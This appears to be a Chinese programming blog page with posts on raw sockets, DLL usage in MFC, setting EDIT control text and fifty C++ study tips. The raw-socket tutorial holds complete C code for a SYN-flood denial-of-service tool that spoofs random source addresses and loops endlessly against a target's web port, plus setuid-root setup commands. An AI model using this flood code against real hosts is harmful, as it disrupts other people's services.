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            2009年4月26日

            原始套接字

            原始套接字
                 我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 里面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root權限的人創建.

            10.1 原始套接字的創建

            int sockfd(AF_INET,SOCK_RAW,protocol)

            可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看 下面我們以一個實例來說明原始套接字的創建和使用

            10.2 一個原始套接字的實例
            還記得DOS是什么意思嗎?在這里我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼

            /********************   DOS.c                *****************/
            #include
            #include
            #include
            #include
            #include
            #include
            #include
            #include
            #include

            #define DESTPORT         80        /* 要攻擊的端口(WEB)       */
            #define LOCALPORT        8888

            void send_tcp(int sockfd,struct sockaddr_in *addr);
            unsigned short check_sum(unsigned short *addr,int len);

            int main(int argc,char **argv)
            {
            int sockfd;
            struct sockaddr_in addr;
            struct hostent *host;
            int on=1;

            if(argc!=2)
            {
                     fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
                     exit(1);
            }

            bzero(&addr,sizeof(struct sockaddr_in));
            addr.sin_family=AF_INET;
            addr.sin_port=htons(DESTPORT);

            if(inet_aton(argv[1],&addr.sin_addr)==0)
            {
                     host=gethostbyname(argv[1]);
                     if(host==NULL)
                     {
                             fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                             exit(1);
                     }
                     addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
            }

            /**** 使用IPPROTO_TCP創建一個TCP的原始套接字     ****/

            sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
            if(sockfd<0)
            {
                     fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
                     exit(1);
            }
            /********   設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫   ***/

            setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

            /****   沒有辦法,只用超級護用戶才可以使用原始套接字     *********/
            setuid(getpid());

            /*********   發送炸彈了!!!!           ****/
            send_tcp(sockfd,&addr);
            }



            /*******   發送炸彈的實現    *********/
            void send_tcp(int sockfd,struct sockaddr_in *addr)
            {
            char buffer[100];   /**** 用來放置我們的數據包   ****/
            struct ip *ip;
            struct tcphdr *tcp;
            int head_len;

            /******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度   ***/

            head_len=sizeof(struct ip)+sizeof(struct tcphdr);

            bzero(buffer,100);

            /********   填充IP數據包的頭部,還記得IP的頭格式嗎?      ******/
            ip=(struct ip *)buffer;
            ip->ip_v=IPVERSION;              /** 版本一般的是 4       **/
            ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度   **/
            ip->ip_tos=0;                    /** 服務類型             **/
            ip->ip_len=htons(head_len);      /** IP數據包的長度       **/
            ip->ip_id=0;                     /** 讓系統去填寫吧       **/
            ip->ip_off=0;                    /** 和上面一樣,省點時間 **/        
            ip->ip_ttl=MAXTTL;               /** 最長的時間    255     **/
            ip->ip_p=IPPROTO_TCP;            /** 我們要發的是 TCP包   **/
            ip->ip_sum=0;                    /** 校驗和讓系統去做     **/
            ip->ip_dst=addr->sin_addr;       /** 我們攻擊的對象       **/

            /*******   開始填寫TCP數據包                            *****/
            tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
            tcp->source=htons(LOCALPORT);
            tcp->dest=addr->sin_port;            /** 目的端口     **/
            tcp->seq=random();
            tcp->ack_seq=0;
            tcp->doff=5;
            tcp->syn=1;                         /** 我要建立連接 **/
            tcp->check=0;


            /** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^   **/
            while(1)
               {
            /**   你不知道我是從那里來的,慢慢的去等吧!       **/
                 ip->ip_src.s_addr=random();     

            /** 什么都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
            /**             下面這條可有可無     */
                 tcp->check=check_sum((unsigned short *)tcp,
                             sizeof(struct tcphdr));
                 sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
               }
            }

            /* 下面是首部校驗和的算法,偷了別人的 */
            unsigned short check_sum(unsigned short *addr,int len)
            {
            register int nleft=len;
            register int sum=0;
            register short *w=addr;
               short answer=0;

            while(nleft>1)
            {
               sum+=*w++;
               nleft-=2;
            }
            if(nleft==1)
            {
               *(unsigned char *)(&answer)=*(unsigned char *)w;
               sum+=answer;
            }
              
            sum=(sum>>16)+(sum&0xffff);
            sum+=(sum>>16);
            answer=~sum;
            return(answer);
            }

            編譯一下,拿localhost做一下實驗,看看有什么結果.(千萬不要試別人的啊). 為了讓普通用戶可以運行這個程序,我們應該將這個程序的所有者變為root,且 設置setuid位

            [root@hoyt /root]#chown root DOS
            [root@hoyt /root]#chmod +s DOS


            10.3 總結
            原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這里面是不是有很多的樂趣呢. 當我們創建了一個TCP套接字的時候,我們只是負責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據后,回自動的調用相應的模塊給數據加上TCP頭部,然后加上IP頭部. 再發送出去.而現在是我們自己創建各個的頭部,系統只是把它們發送出去. 在上面的實例中,由于我們要修改我們的源IP地址,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那么IP數據一樣也可以由系統來創建的.

            posted @ 2009-04-26 18:24 梁少林 閱讀(861) | 評論 (1)編輯 收藏

            2009年4月12日

            dll的使用方法


            首先要建立一個dll的資源,file->new->MFC appwizard(dll) 輸入工程的名字
              點擊 FINISH 然后點擊 OK
             你就可以開始創建你自己的dll資源了  我這里的DLL資源是一個圖片
             INSERT -》RESOURCE -》選擇BITMAP 單機IMPORT  找出要導入的圖片就可以了
            注意圖片的后綴名是 .bmp 或 .ico 不能是其他格式的否則就用不了
              導入成功以后就可以編譯一下(不用運行)
            然后在工程文件的目錄中debug文件夾中就會有一個 .dll 和.lib的文件(這兩個文件有用)
            這樣你自己的DLL就建立成功了
             接下來的任務是如何把自己建立的DLL應用到自己的程序中去
              打開工程建立一個基于對話框的應用程序,放置一個picture(這個控件必須修改名字,否則無法定義成員變量)和一個button,把picture的type設置成和你加載的圖片一樣的格式(比如在DLL中你導入的是一個.bmp的圖片,那就把type設置成bitmap,導入的是.ico的圖片 就設置成icon)
             然后就是給button增加單機響應事件。
            代碼如下:
             HINSTANCE hdll; //存儲加載的動態連接庫的句柄
             HINSTANCE hcurrent;  //保存當前句柄 以用于最后恢復到當前
             hdll=::LoadLibrary("C:\\Program Files\\Microsoft Visual Studio\\MyProjects\\cbitmap\\Debug\\cbitmap.dll");
                              //加載你自己建立的DLL 這里有一個注意的地方 文件目錄之間要用 \\ 否則會有警告
             if(hdll)  //如果DLL不為空
             {
                      hcurrent=AfxGetResourceHandle();  //獲取當前的句柄
                AfxSetResourceHandle(hdll);  //設置成 DLL的句柄
                HBITMAP hbit=::LoadBitmap(hdll,MAKEINTRESOURCE(IDB_BITMAP1)); //第一個參數 用的是哪個對象就要設置成相應的句柄 如果用的是本工程中的圖片就用 AfxGetInstanceHandle 或者是AfxGetApp->m_Instance;
              第二個參數是圖片的一個資源標識,要用MAKEINTRESOURCE 進行轉換 非常要注意的是MAKEINTRESOURCE的參數 你導入的圖片在DLL中用的是什么名字 在這里也要用一樣的的名字 否則就會出錯。
                m_pic.SetBitmap(hbit);
                      AfxSetResourceHandle(hcurrent); //恢復到當前句柄
             
             
             }
             AfxFreeLibrary(hdll);  釋放hdll
            并不是代碼有了就可以用了 還需要一些準備工作,第一個 將制作DLL產生的lib文件導入
             步驟:project ->add to project ->files 找到制作DLL產生的lib文件,將其導入
             還要在工程的頭文件中把制作DLL時產生的和工程名相同的頭文件用語句“#include "xx.h"”
             包含進來。這里有一個小細節要注意,由于這個頭文件的目錄和我們現有工程的的目錄是不一樣的
              我們可以把這個頭文件直接復制到我們現有工程的目錄中即可。
             
            這些工作做完了 我們就可以運行我們的工程了

             


            DLL中定義有兩種函數:
            ---- 導出函數(exportfunction): 可以被其他模塊調用
            ---- 內部函數(internalfunction): 只能在DLL內部使用
            ---- 創建一個基于API的DLL.本例只定義了導出函數.

            ---- 1.在FILE- >NEW- >PROJECTS中選擇"WIN32 Dynamic-Link Library"在Project Name中輸入 "a"按OK

            ---- 2.在FILE- >NEW- >FILES中選擇C++ SOURCE FILE,在FILE中輸入a.cpp,按OK

            ---- 在FILE- >NEW- >FILES中選擇TEXT文件,在FILE中輸入a.h,按OK

            ---- 在FILE- >NEW- >FILES中選擇TEXT文件,在FILE中輸入a.def,按OK

            ---- 3.源文件:

             file://---------------------------
             file://a.cpp
             #include < windows >
             WINAPI int add(int a,int b)
             { return (a+b);
             }
             file://---------------------------
             file://a.h
             WINAPI int add(int a,int b);
             file://---------------------------
             file://a.def
             LIBRARY      "aaa" ;指出DLL的名字
             DESCRIPTION  ''aaa Windows Dynamic Link Library''
             ;描述DLL的用途(此句可選)
             EXPORTS      add ;導出函數的名字

            四.調用DLL的方法:
            ---- 1.通常我們在調用DLL時所需的DLL文件必須位于以下三個目錄之一:
            ---- (1)Windows的系統目錄:\windows\system;

            ---- (2)DOS中path所指出的任何目錄;

            ---- (3)程序所在的目錄;

            ---- 同時應注意管理好你的.lib文件和.h和文件

            ---- 2.建立一個工程,簡單起見可建立一個控制臺應用程序.

            ---- 3.在工程中引入a.lib:

            ---- (1)如果你的a.lib放在VC標準的LIB文件夾中.

               單擊Project- >Project Settings...
               在link選卡的object/library modules中加上a.lib即可

            ---- (2)如果你的a.lib不是放在VC標準的LIB文件夾中
               單擊Project- >Add to Project- >files...
               找到a.lib文件,按OK
            < pre >
            4.//------------------------
               file://call_a.cpp
               #include< stdio.h >
               #include "c:/a/a.h"
               void main(void)
               { int c=0;

              c=add(1,2);
              printf("1+2=%d",c);
               }
             file://本程序在VC5.0下調試通過

             

            posted @ 2009-04-12 11:32 梁少林 閱讀(661) | 評論 (0)編輯 收藏
            EDIT附值的方法

             給EDIT附值時的方法:
             (1)可以給EDIT控件添加CSTRING的成員變量,然后用 m_text=_T("hello");的形式給EDIT附值
                  但這時候你就得必須在m_text=_T("hello");這句的前面加上UpdateData(TRUE);在后面加上
                  UpdateData(FALSE); 其中UpdateData(TRUE);的作用是將EDIT中的內容更新成員變量中,
                  UpdateData(FALSE);的作用是將成員變量的內容更新到EDIT中。
             (2)給EDIT添加CEDIT類型的變量,調用其中的SETWINDOWTEXT方法給EDIT附值,但是此時注意
                   如果你為EDIT定義了CSTRING的成員變量就不用UpdateData(TRUE);和UpdateData(FALSE);
                   因為你如果還繼續使用,UpdateData(TRUE);將EDIT的內容附值到了CSTRING類型變量,
                   UpdateData(FALSE);又將CSTRING類型變量的內容又附值到了EDIT中,這樣SETWINDOWTEXT
                   函數就沒有作用了。
             (3) 因為控件也是由CWIND類派生來的,所以可以先調用GetDlgItem(參數是控件的ID),返回的
                   是CWIND類型的指針,然后用這個指針調用-》SetWindowText(內容)就可以給EDIT附值了
                   UpdateData(TRUE); UpdateData(FALSE);的要求和上面一樣。

            posted @ 2009-04-12 11:29 梁少林 閱讀(345) | 評論 (0)編輯 收藏

            2009年3月19日

            學好c++50條

            1.把C++當成一門新的語言學習。
            2.看《Thinking In C++》,不要看《C++變成死相》;
            3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因為他們很難而我們自己是初學者所以就不看;
            4.不要被VC、BCB、BC、MC、TC等詞匯所迷惑——他們都是集成開發環境,而我們要學的是一門語言;
            5.不要放過任何一個看上去很簡單的小編程問題——他們往往并不那么簡單,或者可以引伸出很多知識點;
            6.會用Visual C++,并不說明你會C++;
            7.學class并不難,template、STL、generic programming也不過如此——難的是長期堅持實踐和不遺余力的博覽群書;
            8.如果不是天才的話,想學編程就不要想玩游戲——你以為你做到了,其實你的C++水平并沒有和你通關的能力一起變高——其實可以時刻記住:學C++是為了編游戲的;
            9.看Visual C++的書,是學不了C++語言的;
            10.浮躁的人容易說:XX語言不行了,應該學YY;——是你自己不行了吧!?
            11.浮躁的人容易問:我到底該學什么;——別問,學就對了;
            12.浮躁的人容易問:XX有錢途嗎;——建議你去搶銀行;
            13.浮躁的人容易說:我要中文版!我英文不行!——不行?學呀!
            14.浮躁的人容易問:XX和YY哪個好;——告訴你吧,都好——只要你學就行;
            15.浮躁的人分兩種:a)只觀望而不學的人;b)只學而不堅持的人;
            16.把時髦的技術掛在嘴邊,還不如把過時的技術記在心里;
            17.C++不僅僅是支持面向對象的程序設計語言;
            18.學習編程最好的方法之一就是閱讀源代碼;
            19.在任何時刻都不要認為自己手中的書已經足夠了;
            20.請閱讀《The Standard C++ Bible》(中文版:標準C++寶典),掌握C++標準;
            21.看得懂的書,請仔細看;看不懂的書,請硬著頭皮看;
            22.別指望看第一遍書就能記住和掌握什么——請看第二遍、第三遍;
            23.請看《Effective C++》和《More Effective C++》以及《Exceptional C++》;
            24.不要停留在集成開發環境的搖籃上,要學會控制集成開發環境,還要學會用命令行方式處理程序;
            25.和別人一起討論有意義的C++知識點,而不是爭吵XX行不行或者YY與ZZ哪個好;
            26.請看《程序設計實踐》,并嚴格的按照其要求去做;
            27.不要因為C和C++中有一些語法和關鍵字看上去相同,就認為它們的意義和作用完全一樣;
            28.C++絕不是所謂的C的“擴充”——如果C++一開始就起名叫Z語言,你一定不會把C和Z語言聯系得那么緊密;
            29.請不要認為學過XX語言再改學C++會有什么問題——你只不過又在學一門全新的語言而已;
            30.讀完了《Inside The C++ Object Model》以后再來認定自己是不是已經學會了C++;
            31.學習編程的秘訣是:編程,編程,再編程;
            32.請留意下列書籍:《C++面向對象高效編程(C++ Effective Object-Oriented Software Construction)》《面向對象軟件構造(Object-Oriented Software Construction)》《設計模式(Design Patterns)》《The Art of Computer Programming》;
            33.記住:面向對象技術不只是C++專有的;
            34.請把書上的程序例子親手輸入到電腦上實踐,即使配套光盤中有源代碼;
            35.把在書中看到的有意義的例子擴充;
            36.請重視C++中的異常處理技術,并將其切實的運用到自己的程序中;
            37.經常回顧自己以前寫過的程序,并嘗試重寫,把自己學到的新知識運用進去;
            38.不要漏掉書中任何一個練習題——請全部做完并記錄下解題思路;
            39.C++語言和C++的集成開發環境要同時學習和掌握;
            40.既然決定了學C++,就請堅持學下去,因為學習程序設計語言的目的是掌握程序設計技術,而程序設計技術是跨語言的;
            41.就讓C++語言的各種平臺和開發環境去激烈的競爭吧,我們要以學習C++語言本身為主;
            42.當你寫C++程序寫到一半卻發現自己用的方法很拙劣時,請不要馬上停手;請盡快將余下的部分粗略的完成以保證這個設計的完整性,然后分析自己的錯誤并重新設計和編寫(參見43);
            43.別心急,設計C++的class確實不容易;自己程序中的class和自己的class設計水平是在不斷的編程實踐中完善和發展的;
            44.決不要因為程序“很小”就不遵循某些你不熟練的規則——好習慣是培養出來的,而不是一次記住的;
            45.每學到一個C++難點的時候,嘗試著對別人講解這個知識點并讓他理解——你能講清楚才說明你真的理解了;
            46.記錄下在和別人交流時發現的自己忽視或不理解的知識點;
            47.請不斷地對自己寫的程序提出更高的要求,哪怕你的程序版本號會變成Version 100.XX;
            48.保存好你寫過的所有的程序——那是你最好的積累之一;
            49.請不要做浮躁的人;
            50.請熱愛C++!

            posted @ 2009-03-19 20:11 梁少林 閱讀(299) | 評論 (1)編輯 收藏
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